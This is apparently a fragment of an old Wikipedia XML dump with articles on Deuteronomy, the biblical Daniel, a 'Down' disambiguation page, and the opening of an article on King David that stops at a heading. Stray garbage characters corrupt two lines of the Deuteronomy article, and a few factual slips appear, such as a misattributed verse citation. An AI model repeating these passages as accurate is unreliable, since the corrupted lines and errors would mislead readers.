* [[Fairbanks House, Dedham|Fairbanks House]]
* [[Museum of Bad Art]]
* [[Mother Brook]] (first man made water way in The United States)

==Further reading==
* Lockridge, Kenneth A. (1985). ''A New England Town: The First Hundred Years: Dedham, Massachusetts, 1636-1736'' (2nd ed.). W. W. Norton. ISBN 0393954595.

* Cremin, Lawrence A., &quot;American Education: The Colonial Experience 1607-1783,&quot; First Edition, New York, Harper &amp; Row, Publishers, 1970.

== External links ==
* Dedham's web site is http://www.town.dedham.ma.us/.
* [http://www.rongolini.com/masshist.htm &quot;Taxation for Religion in Early Massachusetts&quot; - Ronald Golini] mentions the role of the 1818 &quot;Dedham case&quot;
{{Mapit-US-cityscale|42.244609|-71.165531}}

[[Category:Towns in Massachusetts]]
[[Category:Norfolk County, Massachusetts]]

{{Massachusetts}}</text>
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    <title>Death factory</title>
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  <page>
    <title>Deuteronomy</title>
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      <comment>/* Summary of the book */</comment>
      <text xml:space="preserve">{{Books of the Old Testament}} 
{{Books of Torah}}
'''Deuteronomy''' is the fifth book of the [[Hebrew Bible]]. It is part of [[Judaism]]'s [[Torah]] - the first segment of the [[Tanakh]]. It later became part of [[Christianity]]'s [[Old Testament]]. Its [[Hebrew language|Hebrew]] name is '''''Devarim''''' &amp;#1491;&amp;#1489;&amp;#1512;&amp;#1497;&amp;#1501; (&quot;words&quot;), which comes from the opening phrase &quot;Eleh ha-devarim&quot; (&quot;These are the ''words''...&quot;). The term can also stretch to mean &quot;discourses&quot; or &quot;talks&quot;, as is generally the case with the Greek word &quot;[[logos]]&quot;.

== Origin of the name Deuteronomy ==

The English name, &quot;Deuteronomy&quot;, comes from the name which the book bears in the [[Septuagint]] (&amp;#916;&amp;#949;&amp;#965;&amp;#964;&amp;#949;&amp;#961;&amp;#959;&amp;#957;&amp;#972;&amp;#956;&amp;#953;&amp;#959;&amp;#957;) and in the [[Vulgate]] (Deuteronomium). This is based upon the erroneous Septuagint rendering of &quot;mishneh ha-torah ha-zot&quot; (xvii. 18), which grammatically can mean only &quot;a repetition [that is, a copy] of this law,&quot; but which is rendered by the Septuagint &amp;#964;&amp;#8056; &amp;#916;&amp;#949;&amp;#965;&amp;#964;&amp;#949;&amp;#961;&amp;#959;&amp;#957;&amp;#972;&amp;#956;&amp;#953;&amp;#959;&amp;#957; &amp;#964;&amp;#959;&amp;#8166;&amp;#964;&amp;#959;, as though the expression meant &quot;this repetition of the law.&quot; While, however, the name is thus a mistranslation, it is not inappropriate; for the book does include, by the side of much new material, a repetition or reformulation of a large part of the laws found in the non-priestly sections of [[Exodus]].

Ιθθ== Summary of the book ==

Deuteronomy consists chiefly of three discourses said to have been delivered by [[Moses]] a short time before his death, given to the [[Israelites]], in the plains of [[Moab]], in the penultimate month of the final year of their wanderings through the wilderness.

The first discourse (1-4) is a historical recollection, recapitulating the chief events of the past forty years in the wilderness, with earnest hortatory exhortations to obedience to the divine ordinances, and warnings against the danger of forsaking the God of their fathers.

The second discourse (5-26) is, in effect, the main body of the whole book, and is composed of two distinct addresses. The first of these (5-11), forms a second introduction, expanding on the [[Ten Commandments]] given at [[Mount Sinai, Egypt|Mount Sinai]]. This other, second, address (12-26) is the [[Deuteronomic Code]], a series of [[mitzvot]] (''commands''), forming extensive laws, admonitions, and injunctions to the Israelites, regarding how they ought to conduct themselves in [[Canaan]], the land they regard to have been promised by [[Yahweh]] as their permanent home.

The concluding third discourse (27-30) is hortatory, relating almost wholly to the solemn sanctions of the law, the blessings to the obedient, and the curse that would fall on the rebellious. In this discourse, the Israelites are solemnly adjured to adhere faithfully to the covenant between them and Yahweh, and so secure for themselves, and for their posterity, the promised blessings. 

After the final discourse, the text describes Moses preparing himself to die. As the main part of preparation, Moses is described as conditionally renewing the [[covenant]] between Yahweh and the Israelites, the condition being the loyalty of the people, and at the same time, [[Joshua]] is also appointed by Moses as heir, a leader to lead the people into Canaan.

These addresses to the people are followed by what is generally regarded as three short appendices, namely:
*The [[Song of Moses]], apparently being created by Moses by the request of [[Yahweh]] (32:1-47).[[]]ôΝΜ
*The [[Blessing of Moses]], which is pronounced upon the individual [[tribes of Israel]] (33)
*The story of the death of Moses (32:48-52), and subsequent burial (34).

==Analysis of authorship==
=== Early Jewish analysis ===

Several [[Talmud]] rabbis were the first to notice problems concerning the supposed premise that Moses wrote the entire five books of the torah. Basing themselves on this premise, they asked how he could possibly have written the text describing his own death and burial, as well as describing, after his own death, that ''... there arose not a prophet since in Israel like unto Moses''. While some contended that he wrote them prophetically, the dominant opinion of these rabbis seems to be that Joshua wrote them and appended them to the text.

Later Jewish biblical [[exegesis|exegetes]], such as [[Abraham ibn Ezra]] (c.[[1093]] - [[1167]]) also noted the distinctly different meditative style, and language, of Deuteronomy and stated that a number of verses must have been written by a later author, again, probably, in their view, [[Joshua]]. Similarly, in his introduction to Deuteronomy, Don [[Isaac Abravanel]] ([[1437]] - [[1508]]) was adamant that the book had a different author, than did the first four books of the [[Torah|Pentateuch]]. Both ibn Ezra, and Don Abravanel, prefigured more contemporary exponents of multiple authorship. 

These writers had no problem identifying a period for the text to have been written within. At the end of the [[Books of Kings|2 Kings]], there is an enigmatic story of the religious reform conducted during the reign of King [[Josiah]], also recounted more briefly in the [[Books of Chronicles|2 Chronicles]] 34:3. After eradicating the rival cultic centres to [[Jerusalem]], Josiah purged the Temple in Jerusalem of pagan influences ([[621 BC]]). During the process of cleansing, [[Hilkiah]], the High Priest, found a ''lost scroll'' of the Torah, whose laws were happily in complete accord with the reforms then being instituted. 

The biblical story continues that Josiah and Hilkiah went to [[Huldah]], the Prophetess to confirm that this was indeed a lost book of the law. She did so, adding that failure to comply would result in the fulfillment of the curses described in the book, and as a result, a ceremony, only otherwise mentioned in Deuteronomy, was arranged. In this ceremony, the king read the entire scroll that was found, to the people assembled for [[Sukkot]], in order to renew the covenant between them and the Law, in a re-enactment of the events at Mount Sinai. 

Several rabbis in the Talmud cite a longstanding tradition, echoed by most modern researchers, that the scroll discovered by Hilkiah was none other than Deuteronomy, lost but now recovered by Hilkiah. Deuteronomy is the only book of the Pentateuch to mention the centralisation of worship into a single location where sacrifices were permitted to be offered. In effect, this was the very essence of Josiah's reform.

These rabbis also point to various aspects of the story, which are somewhat enigmatic, in their efforts to understand what had actually happened. For example, they ask why the king and high priest chose to go to an otherwise unknown prophetess for confirmation of the text, when there were two major prophets, [[Jeremiah (prophet)|Jeremiah]], and [[Zechariah]], living at that time. The answer they give is far from satisfactory: Zechariah was home sick that day, and Jeremiah was away on business. 

In fact, this answer may actually be an indication of the historical importance of the Reform and the conflict it would have generated among the masses. Rather than have it originate with overly zealous religious leaders (the prophets), it came from the king and high priest, both of whom were political. By attributing the book to Moses, it could have the same authority as the other books, and its precepts would be similarly observed and respected.

=== Apologetics ===

Most [[Orthodox Judaism]] scholars and Jews and many [[fundamentalist]] Christians believe, despite the ideas raised by the Talmudic rabbis, that the original author of the book was Moses, and that the book really was lost and recovered (e.g. [http://www.myjewishlearning.com/texts/bible/What_is_the_Torah/Origins_of_Torah/Traditional_Torah930.htm]). Their [[apologetics]] argues that:
*The book itself claims to have been written by Moses (1:1; 29:1; 31:1, 9-11, etc.), and, as everyone agrees, was obviously intended to be accepted as his work. 
*The frequent references to it in the later books of the canon ([[Book of Joshua|Joshua]] 8:31; [[Books of Kings|1 Kings]] 2:3; [[Books of Kings|2 Kings]] 14:6; [[Books of Chronicles|2 Chronicles]] 23:18; 25:4; 34:14; [[Book of Ezra|Ezra]] 3:2; 7:6; [[Book of Nehemiah|Nehemiah]] 8:1; [[Book of Daniel|Daniel]] 9:11, 13) prove its antiquity.
*Orthodox Jews point to testimony, within the [[Mishnah]] and [[Talmud]], that Moses authored nearly all of Deuteronomy.
*Christians identify further testimony of Mosaic authorship from the [[New Testament]]. [[Gospel of Matthew|Matthew]] 19:7 and 8, [[Gospel of Mark|Mark]] 10:3 and 4, [[Gospel of John|John]] 5:46 and 47, [[Acts of the Apostles|Acts]] 3:22 and 7:37, and [[Epistle to the Romans|Romans]] 10:19, all establishes the same conclusion.

=== Modern critical analysis ===
{{main|Deuteronomist}}

Despite the apologetics of many religious thinkers, modern academic criticism completely rejects Moses as the work's author. While the book claims to have been written by Moses, such a claim could be made by any author. While there are frequent references to the book in later works of canon, this can simply be explained as the works being later. In particular, while the books from Joshua to Kings reference Deuteronomy at points prior to the finding of Deuteronomy by Hilkiah, this can simply be explained by those books too not being fully written before the reign of Josiah.

Although Israel is represented as being about to enter Canaan, at an early stage in its nationhood, the language details laws for a state that is highly developed, has the institutions of a king, priesthood, central criminal tribunal, and so forth. Similarly the language within the discourse refers to the land east of the Jordan as being ''on the other side of the Jordan'', implying the author is on the west of the Jordan, a location that Moses supposedly never entered.

The style and method of this book, and its peculiarities of expression, show that it came from a school of thought separate from the rest of the [[Torah]]. In fact, Deuteronomy often refers to itself as a separate code of law (1:5, 8:26, 27:3, 31:26), distinct from the four preceding books of the Bible. Scholars have also noted differences in language and style, the laws themselves, and some anachronisms in the text, such as the variations in the text of the [[Ten Commandments]], compared to the version at Exodus 20.

The text is most reminiscent of [[Jeremiah]], with whom the style, and laws, of Deuteronomy have extreme influence. In fact, the style is so strongly similar to Jeremiah, that several scholars have posited him, or his scribe, as the real author. Similarly, it is extremely notable that neither [[Amos]], nor [[Hosea]], nor the undisputed portions of [[Isaiah]], show even the remotest familiarity with Deuteronomy. These facts can easily be explained if Deuteronomy was written after these three prophets, and before Jeremiah, placing its creation squarely in the seventh century BC.

Modern bible scholarship therefore identifies the work as being created in the seventh century BC, in, or very close to, the reign of Josiah. Further study of the other books of the torah has led over 90% of the academic community of biblical scholars to support the [[documentary hypothesis]]. This hypothesis identifies multiple authors for the torah, Deuteronomy mostly being considered the work of the [[deuteronomist]] (&quot;D&quot;). The Deuteronomists work is believed to have also included the editing together of earlier histories into the books of Joshua, Judges, Kings, and Samuel. 

According to such critical scholarship, the origin of almost 100% of Deuteronomy is as the [[Shiloh]] priesthood's response to the [[Priestly Code]], the law code created by the [[Priestly source]] (&quot;P&quot;), their Aaronid rivals. It is believed that the original element of Deuteronomy, the portion found in the temple, is the central core, the [[Deuteronomic Code]], at Deuteronomy 12-26. Having been pronounced to the public, it is believed that two alternative editions were created, potentially by the same author, and published simultaneously:
*one containing the core, as well as the historical introduction, Deuteronomy 1-4, as well as a simple hortatory conclusion, with a list of curses, Deuteronomy 27
*the other containing the core, as well as the theological introduction, Deuteronomy 5-11, and a more extensive hortatory conclusion, Deuteronomy 28-30

While the first of these editions would present the law as the remembrance by Moses of the events at Sinai, the second presents it in the form of a [[suzerain]]-[[vassal]] treaty, of a form similar to the [[Covenant Code]]. As the Covenant Code is thought, in critical scholarship, to be the much older basis of the Deuteronomic Code, this second edition simply reflects a fuller adherence to its structure.

While the purpose of separate editions could have various reasons, for example one being for the priesthood and the other for the people, it is generally agreed, by [[textual criticism|textual critics]], that at some point, shortly after these versions were written, they were combined together (&quot;Dtr1&quot;) mostly in the manner in which they are now found. Subsequently, the great hero of the reform, [[Josiah]], was killed at [[Megiddo]], and the Babylonians conquered and dispersed the [[kingdom of Israel]]. 

Consequently the positive attitude of the code thus far became less appropriate, and so critical scholarship identifies a second edition of the combined work (known as &quot;Dtr2&quot;), containing additional warnings about obliteration and exile, as well as promises of restoration in the event of repentance. This second edition is believed to also have inserted two originally independant documents, and framings for them, which now comprise the two poems at Deuteronomy 31-33. The account of Moses' death is believed to simply have been moved to where it lies now, Deuteronomy 34, to make way, and accordingly, after the torah was later redacted together, Deuteronomy 34 also gained verses describing the death of Moses from both the [[Jahwist]] and the [[Priestly source]].

==See also== 
*[[Torah]]
*[[Tanakh]]

==External links==
Online versions and translations of [[Deuteronomy]]:
*Original text:
** [http://www.mechon-mamre.org/p/pt/pt0501.htm &amp;#1491;&amp;#1468;&amp;#1456;&amp;#1489;&amp;#1464;&amp;#1512;&amp;#1460;&amp;#1497;&amp;#1501; ''Devarim'' - Deuteronomy] ([[Hebrew language|Hebrew]] - English at Mechon-Mamre.org)

*[[Judaism|Jewish]] translations:
** [http://www.mechon-mamre.org/e/et/et0501.htm Deuteronomy at Mechon-Mamre] (Jewish Publication Society translation)
** [http://bible.ort.org/books/pentd2.asp?ACTION=displaypage&amp;BOOK=5&amp;CHAPTER=1 Deuteronomy (The Living Torah)] Rabbi [[Aryeh Kaplan]]'s translation and commentary at Ort.org
** [http://www.chabad.org/article.asp?AID=8164 Devarim - Deuteronomy (Judaica Press)] translation with [[Rashi]]'s commentary at Chabad.org 

* [[Christian]] translations:
** [http://www.anova.org/sev/htm/hb/05_deuteronomy.htm ''Deuteronomy'' at The Great Books] (New Revised Standard Version)
** {{biblegateway||Deuteronomy}}
** [http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Deuteronomy ''Deuteronomy'' at Wikisource] (Authorised King James Version)

* Translations identifying sources according to the [[documentary hypothesis]]:
**[[Wikisource:Bible, English, King James, Documentary Hypothesis, Deuteronomy|Deuteronomy with sources highlighted, at Wikisource]]
**[[Wikisource:Bible, English, King James, Documentary Hypothesis, Deuteronomist source, First Deuteronomist Version, Deuteronomic Laws|The law code of Deuteronomy isolated, at wikisource]]
**[[Wikisource:Bible, English, King James, Documentary Hypothesis, Deuteronomist source, First Deuteronomist Version, Narrative|The narrative of Deuteronomy in isolation, at wikisource]]

Related articles:
* [http://www.jewishencyclopedia.com/view.jsp?artid=292&amp;letter=D&amp;search=Deuteronomy ''Book of Deuteronomy'' article] (Jewish Encyclopedia)
* [http://www.humash.org Teacher's Guide to Teaching Deuteronomy]
* [http://www.tektonics.org/jedp/deut.html Dealing with Deuteronomy.  Or, a Treaty Poorly Treated]
* [http://www.biblicalstudies.org.uk/article_deuteronomy.html ''Deuteronomy'' by Rob Bradshaw]

[[Category:Torah]]
[[Category:Old Testament books]]

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  <page>
    <title>Daniel</title>
    <id>8548</id>
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      <id>41730492</id>
      <timestamp>2006-03-01T09:52:15Z</timestamp>
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      <text xml:space="preserve">:''This article refers to people in the Bible named Daniel.''
:''For other uses of this term, see [[Daniel (disambiguation)]] and [[Daniel (name)]].''

'''Daniel''' ('''&amp;#1491;&amp;#1468;&amp;#1464;&amp;#1504;&amp;#1460;&amp;#1497;&amp;#1468;&amp;#1461;&amp;#1488;&amp;#1500;''', [[Standard Hebrew]] '''Daniyyel''', [[Tiberian Hebrew]] '''D&amp;#257;niyyêl''') is the name of at least three people from the [[Bible]]: 

# A Jewish exile in Babylon, the subject of the ''[[Book of Daniel]]'' — this article refers to this best-known Daniel.
# A figure known for his wisdom and righteousness among the exile community (see Ezekiel 14:14,20; Ezekiel 28:3).  Some regard this person as probably not the same as the Daniel of the ''Book of Daniel'' - this being especially the viewpoint of those who question the historicity of the said book.
# [[David]]'s [[Daniel (son of David)|second son]], &quot;born unto him in Hebron, of Abigail the Carmelitess&quot; (1 Chronicles 3:1). He is called also Chileab (2 Samuel 3:3).

The name means &quot;My judge is [[Elohim|God]]&quot;, or &quot;God has judged&quot;.


==Daniel's life==
[[Image:Michelangelo Buonarroti 026.jpg|thumb|The prophet Daniel from [[Michelangelo]]'s [[Sistine Chapel ceiling]]]]
&quot;This section describes the character Daniel, from the ''Book of Daniel'', as a historical figure. The [[historicity]] of Daniel, which some people dispute, is discussed at ''[[Book of Daniel]]''. This section describes him within the setting of the history that the Bible describes, and is partly derived from the 19th century Christian ''[[Easton's Bible Dictionary]]'', as mentioned in &quot;References&quot; below''.

Daniel was descended from one of the noble families of [[kingdom of Judah|Judah]] (Daniel 1:3), and was probably born in [[Jerusalem]] about B.C. 623, during the reign of [[Josiah]]. 

At the first deportation of the [[Jew]]s by [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] (the [[kingdom of Israel]] had come to an end nearly a century before at the hands of the Assyrians), or immediately after his victory over the Egyptians at the second [[battle of Carchemish]], in the fourth year of the reign of [[Jehoiakim]] (B.C. 606), Daniel and three other noble youths were among the Jewish young nobility carried off to [[Babylon]] (probably as hostages to ensure the loyalty of Judah's king and advisors), along with some of the vessels of the temple. Daniel and his three Jewish companions were subsequently evaluated and chosen for their intellect and beauty, to be trained as Chaldeans (members of the class of the magi: astrologers, sorcerers, enchanters and magicians), who constituted the ranks of the advisors to the Babylonian court. 

There Daniel was obliged to enter into the service of the king of Babylon, and in accordance with the custom of the age, received the [[Chaldea]]n name of ''Belteshazzar'', i.e., ''prince of Bel'', or ''Bel protect the king!'' His residence in Babylon was very probably in the palace of Nebuchadnezzar, now identified with a mass of shapeless mounds called the [[Kasr]], on the right bank of the river. However, Daniel and his three companions remained fiercely loyal to their Jewish religious and cultural identity, an identity which would sooner or later come into conflict with the paganism of the Babylonian court. 

[[image:daniellion.jpg|thumb|300px|Daniel's Answer to the King by Briton Rivière, R.A. (1840-1920), 1890 (Manchester City Art Gallery)]]

Daniel's training in the schools of the &quot;magi&quot; (probably astrologer-magicians), or wise men in Babylon (Daniel 1:4) was to fit him for service to the empire. Daniel became distinguished during this period for his piety, and for his strict observance of the Torah, or  [[Mosaic law]] (1:8-16), and gained the confidence and esteem of those who were over him. 

At the close of his three years of discipline and training in the royal schools, Daniel was distinguished for his proficiency in the pagan &quot;wisdom&quot; of his day, and was brought out into public life. He soon became known for his &quot;skill&quot; (a gift from YHWH) in the [[interpretation of dreams]] (1:17; 2:14), and rose to the rank of governor of the province of Babylon, and became &quot;chief of the governors&quot; (Chald. Rab-signin) over all the wise men of Babylon, after passing a dangerous test of the astrologers by the king, which could easily have cost Daniel his life. Daniel made known and also interpreted Nebuchadnezzar's dream; as well as a later dream preceding the king's descent into animal behaviour, and many years afterwards, when he was now an old man, amid the alarm and consternation of the terrible night of [[Belshazzar]]'s impious feast (in which Belshazzar and his concubines drank wine out of the royal Jewish ceremonial goblets of the Temple), Daniel was called in at the suggestion of the queen-mother (perhaps Nitocris, the daughter of Nebuchadnezzar) to interpret the mysterious [[handwriting on the wall]]. For successfully reading the cryptic handwriting by an angel of God, Daniel was rewarded by the Babylonians with a purple robe and elevation to the rank of &quot;third ruler&quot; of the kingdom.  The place of &quot;second ruler&quot; was held by Belshazzar as associated with his father, Nabonidus, on the throne (5:16). Daniel interpreted the handwriting, and &quot;in that night was Belshazzar the king of the Chaldeans slain&quot; by his own sons, who later fled.

[[image:danielburial2.jpg|thumb|left|Tomb of Daniel, [[Susa]], [[Iran]], is a popular attraction in Iran's Jewish community]] 
After the taking of Babylon, [[Cyrus the Great]], who was now master of all [[Asia]] from [[India]] to the [[Dardanelles]], placed [[Darius I|Darius]], a Median prince, on the throne, during the two years of whose reign Daniel held the office of first of the &quot;three presidents&quot; of the empire, and was thus practically at the head of affairs, no doubt interesting himself in the prospects of the captive Jews (Dan. 9), whom he had at last the happiness of seeing restored to their own land; although he did not return with them, but remained still in Babylon.

Daniel's fidelity to God exposed him to persecution by jealous rivals within the king's administration (who at first conspired to have Daniel's three Jewish companions thrown into a fiery furnace, for refusing to worship the Babylonian king as a god; but they were miraculously saved), and Daniel was cast into a den of lions (for continuing to practice his faith in YHWH), but was miraculously delivered; after which Darius issued a decree enjoining reverence for &quot;the God of Daniel&quot; (6:26). He &quot;prospered in the reign of Darius, and in the reign of Cyrus the Persian,&quot; whom he probably greatly influenced in the matter of the decree which put an end to the Jewish Captivity (B.C. 536).

The time and circumstances of Daniel's death have not been recorded. However, Daniel was still alive in the third year of Cyrus according to the Bible (Daniel 1:3); and he would have been almost 100 years old at that point, having been brought to Babylon when he was in his teens, more than 80 years previously. He possibly died at [[Susa]], where a tomb presumed to be his is also located,  the site of which is known as ''Shush-Daniel''.  Other locations have been claimed as the site of his burial, including Babylon, Egypt, and, notably, [[Samarkand]], which claims a tomb of Daniel (see &quot;Afrasiab ruins&quot; in the [[Samarkand]] article), with some traditions suggesting that his remains were removed, perhaps by [[Tamerlane]], from Susa to Samarkand (see, for instance, [http://isfsp.org/sages/ben5.html Itinerary of Benjamin of Tudela], section 153). 

[[Ezekiel]], with whom Daniel was a contemporary, mentions him as a &quot;pattern of righteousness (14:14, 20) and wisdom&quot; (28:3). Those scholars who suppose that the Daniel of the Book of Daniel was unhistorical, usually postulate that Ezekiel meant another figure who has now been forgotten, and that the author of the Book of Daniel took up this clue from Ezekiel to name his alleged prophet, to bind him to the older books of the Bible.  However this can be no more than mere speculation, and is arguably derived entirely from a biased viewpoint.

==Daniel - a prophet?==

Christians regard Daniel as a prophet, and Jesus is quoted as referring to him as &quot;Daniel the prophet&quot; in Matthew 24:15 and Mark 13:14. It appears he is also referred to as &quot;Daniel the prophet&quot; in the [[Dead Sea Scrolls]] [http://www.tektonics.org/guest/danielblast.html].  In the context of the books of the Bible, Christians refer to Daniel as one of the &quot;four great [[prophet]]s&quot;; as the [[Book of Daniel]] appears in most Christian editions of the Bible, after the other three &quot;great prophets&quot; ([[Isaiah]], [[Jeremiah]], and [[Ezekiel]]).

Judaism does not consider Daniel to be a prophet.  He is not once spoken of in the [[Old Testament]] as a prophet. In the Christian Old Testament (apparently following the [[Septuagint]] Greek translation [http://www.tektonics.org/guest/danielblast.html]) Daniel appears in the &quot;Prophets&quot; section; but in the Jewish [[Tanakh|Tanach]], he appears in &quot;Writings.&quot;  There are two reasons Jews do not consider Daniel to have been a prophet:  

#  Daniel never spoke directly to God.  According to the Torah, prophets (navis) speak to God, not to intermediaries like angels.  Daniel saw angels and never spoke to God. This is the primary reason Daniel is not considered a prophet. 
# In Judaism a prophet (navi) speaks to his or her generation, not to future generations.  The Prophets in the Jewish Tanach (e.g., Isaiah, Ezekiel) spoke primarily to their generation, but their message was also pertinent to the future.  Daniel's visions were for the future, not for his generation. The Men of the Great Assembly ([[Sanhedrin]]) who codified the Jewish Bible (Tanach) argued about including Daniel in the Bible and placed him in Writings, not Prophets.

Some reasons which may be given for believing that Daniel '''was''' a prophet include: 
* that according to the Talmud and the Hebrew Scriptures, Daniel received and interpreted dreams and visions, similar to many other Jewish prophets; as well as messages from angels or arch-angels. Indeed, according to the Christian version, Moses himself received the written Torah from the hand of &quot;the Angel of the Lord&quot; (who spoke to Moses out of the 'burning bush'). Daniel himself denied that his ability was because of any human wisdom of his own (Daniel 2:29).
* Daniel recorded his visions (which became prophecies) for future as well as present use; including prophecies about the exact date of the coming of the Jewish Messiah into Jerusalem, many other prophetic events which later transpired in history, and prophecies which are regarded by some (perhaps mainly [[premillennialism|premillennialist]]) Christians as referring to a terrible, as-yet unfulfilled, future time of the Tribulation.  Accurate prediction of the future is repeatedly given as a mark of a true prophet as opposed to a false one, both in the Hebrew Scriptures and in the Talmud.

The feast day of Daniel the Prophet in the [[Greek orthodox church|Greek Orthodox Church]] is [[December 17]].

== See also ==
* [[Nebuchadnezzar II of Babylon]]
* [[Book of Daniel]] (book of the Bible)
* [[List of names referring to El]]

== References ==

{{Eastons}} ''Considerable additions/alterations have been made since the material from the  Easton's article was inserted here.'' 

== External links ==
{{WikisourceEBD1897|Daniel}}
* [http://www.biblegateway.com/cgi-bin/bible?language=english&amp;version=NIV&amp;passage=daniel Daniel at Bible Gateway]
* [http://www.jewfaq.org/prophet.htm Judaism 101: Prophets and Prophecy]
* [http://www.biblicalstudies.org.uk/article_daniel.html ''Daniel'' by Rob Bradshaw] Detailed dictionary-style article.

[[Category:623 BC births]]
[[Category:Christian prophets]]
[[Category:Year of death missing]]



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  <page>
    <title>Down</title>
    <id>8550</id>
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      <contributor>
        <username>PeteVerdon</username>
        <id>134408</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary|down}}
* A '''down''' is a hill, usually made of [[chalk]] and in southern [[England]]. See [[downland]].
* '''Down''' is the negative direction along the [[z-axis]]. [[Up]] and down are the only two well-defined directions in the presence of gravity. Earlier this was '''adown''', meaning &quot;from the hill&quot;.
*'''[[Down syndrome]]''' is a [[genetic disorder]].
* '''[[County Down]]''' is a county in [[Northern Ireland]].
* '''[[Down (district)|Down]]''' is a [[Districts of Northern Ireland|district]] in Northern Ireland.
* '''[[Downe]]''' is a village in Kent, where Charles Darwin's house, [[Down House]], is.
* '''[[Down feathers]]''' are the fine undercoat of [[bird]]s under the visible exterior feathers, and is often used as insulation in clothing.
*'''[[Down hair]]''' is another term for the undercoat of some [[mammal]]s.
*'''Down''' is a common command in [[dog training]].
* '''[[down (football)|Down]]''', used in [[American football]], is a stage of play; four downs are allowed in a &quot;possession&quot;; three downs are allowed in [[Canadian football]].  The reference is to the ball or ball carrier being brought to a halt, often by being knocked down.  
* '''Down''' is a colloquial synonym for [[depression (mood)|depressed]] or blue.
* A [[computer system|computer (or other) system]] can go '''down''' when it essentially loses power or [[computer crash|crashes]].
* '''[[Down (band)|Down]]''' is a [[heavy metal music|heavy metal]] band.
* '''''Down''''' is a song by [[blink-182]]. The song's video, made in 2004, features many former gang members as part of an agency that talks people out of gangs and into the entertainment industry.
* '''''Down''''' is also a song by [[311 (band)|311]] which hit #1 on the [[Modern Rock Tracks chart | US Modern Rock]] chart in [[1996]].
* '''Downing''' or '''whacking off''' is to finish a drink (typically a pint of beer) in one go without pause for breath. This usually takes place during [[drinking games]], or at least circumstances where they might be played. Respect is earned by finishing the drink suitably quickly; failing to do so at all may result in ridicule. As a guide a good, though not exceptional, time might be four or five seconds for a [[pint]] (568ml).
* [[Down feat.Diyala]] is a song by [[Bosnian]] rapper [[Edo Maajka]]
* '''Down''' is a four issue [[comic book]] miniseries by [[Warren Ellis]] and Tony Harris from [[Top Cow Productions]].

{{disambig}}</text>
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  <page>
    <title>David</title>
    <id>8551</id>
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        <username>Lawrencemykytiuk</username>
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      <comment>/* Historicity of David */</comment>
      <text xml:space="preserve">{{dablink|This page is about the [[Bible|Biblical]] David. For other uses see [[David (disambiguation)]].}}

'''King David''' ([[Standard Hebrew]] '''דָּוִד''', Davíd, &quot;Beloved&quot;, [[Tiberian Hebrew]] Dāwíð; [[Arabic]] '''داؤد''', Dā'ūd, &quot;Beloved&quot;), was the second king of the united [[kingdom of Israel]] (c. 1005 BC - 965 BC) and successor to [[King Saul]]. His life and rule are recorded in the [[Hebrew Bible]]'s [[Books of Samuel]] and the first of the two [[Books of Chronicles]], where he is depicted as having been the most righteous of all the ancient kings of Israel - although not without fault - as well as an acclaimed warrior, musician and poet (he is traditionally credited with the authorship of many of the [[Psalms]]). 2 Samuel 7:12-16 states that God was so pleased with David that He promised that the [[Davidic line]] would endure forever; [[Judaism|Jews]] therefore believe that the [[Jewish Messiah]] will be a direct descendant of King David, and [[Christianity|Christians]] trace the lineage of [[Jesus]] back to him. While the nature of his reign and even his existence have been questioned by modern biblical scholars, the account given in the [[Hebrew Bible]] remains widely accepted by the majority of ordinary Jews and Christians.

[[Image:David and Goliath by Caravaggio.jpg|thumb|400px|''[[David and Goliath (Caravaggio)|David and Goliath]]'' by [[Caravaggio]], c. 1599.]]

==David's life==
[[Image:Rembrandt Harmensz. van Rijn 030.jpg|thumb|left|300px|David and King Saul, by [[Rembrandt]]. David plays the lyre to the king &quot;tormented by an evil spirit&quot;]]
=== The choosing of David ===
God has withdrawn His favour from king Saul and sends the prophet [[Samuel]] to [[Jesse]] of [[Bethlehem]], &quot;for I have provided for myself a king among his sons.&quot; The choice falls upon David, the youngest, who is guarding his father's sheep: &quot;he was ruddy, and had beautiful eyes, and was handsome. And the Lord said [to Samuel], Arise, anoint him; for this is he.&quot;

=== David plays the lyre before Saul ===
God has withdrawn his favour from king Saul and sent an evil spirit to torment him. On the advice of the young men around him, Saul sends to Jesse asking that he send him his son, &quot;who is skilful in playing, a man of valor, a man of war, prudent in speech, and a man of good presence; and the Lord is with him.&quot; And so David comes to Saul, &quot;and Saul loved him greatly, and he became his armor-bearer...And whenever the evil spirit from God was upon Saul, David took the lyre and played it with his hand; so Saul was refreshed, and was well, and the evil spirit departed from him.&quot;

=== David and Goliath ===	 
The [[Israelite]]s under Saul are facing the army of the [[Philistines]]. David, the youngest of the sons of Jesse, brings food each day to his brothers who are with Saul, and hears the Philistine champion, the giant [[Goliath]], challenge the Israelites to send out their own champion to decide the outcome in single combat. David insists to his brothers that he can defeat Goliath; Saul, hearing of this, sends for him, and although dubious, allows him to go and make the attempt. And indeed David is victorious, felling Goliath with a stone from his slingshot, at which the Philistines flee in terror and the Israelites win a great victoy. David brings back the head of Goliath to Saul, who asks him whose son he is, and David tells him, &quot;'I am the son of your servant Jesse the Bethlehemite.'&quot;

=== The enmity of Saul ===
[[Image:Gentile da Fabriano 026.jpg|right|300px|Prophet David, by Gentile da Fabriano]]Saul gives David his second daughter in marriage, and sets him in command over his armies, (literally, 'commander over a thousand'), and David is successful in many battles. David's popularity awakens Saul's fears - &quot;What more can he have but the kingdom?&quot; - and by various stratagems seeks his death. But the plots of the jealous king all proved futile, and only endear the young hero the more to the people, and very specially to [[Jonathan]], Saul's son, who is one of those who love David. Warned by Jonathan, David flees into the wilderness.

=== The end of Saul's reign ===
David flees and is hunted by Saul. He takes service with the Philistine king of [[Gath]], the city of Goliath, who makes him lord of the town of Ziklag. After many years of faithful service the king asks him to make war on Saul, but although he assures the king that he will serve him faithfully, the Philistine captains doubt his loyalty and force the king to send him away. In the ensuing battle on [[Mount Gilboa]] the Israelites are defeated, Jonathan is killed, and Saul takes his own life.

=== David is made king ===
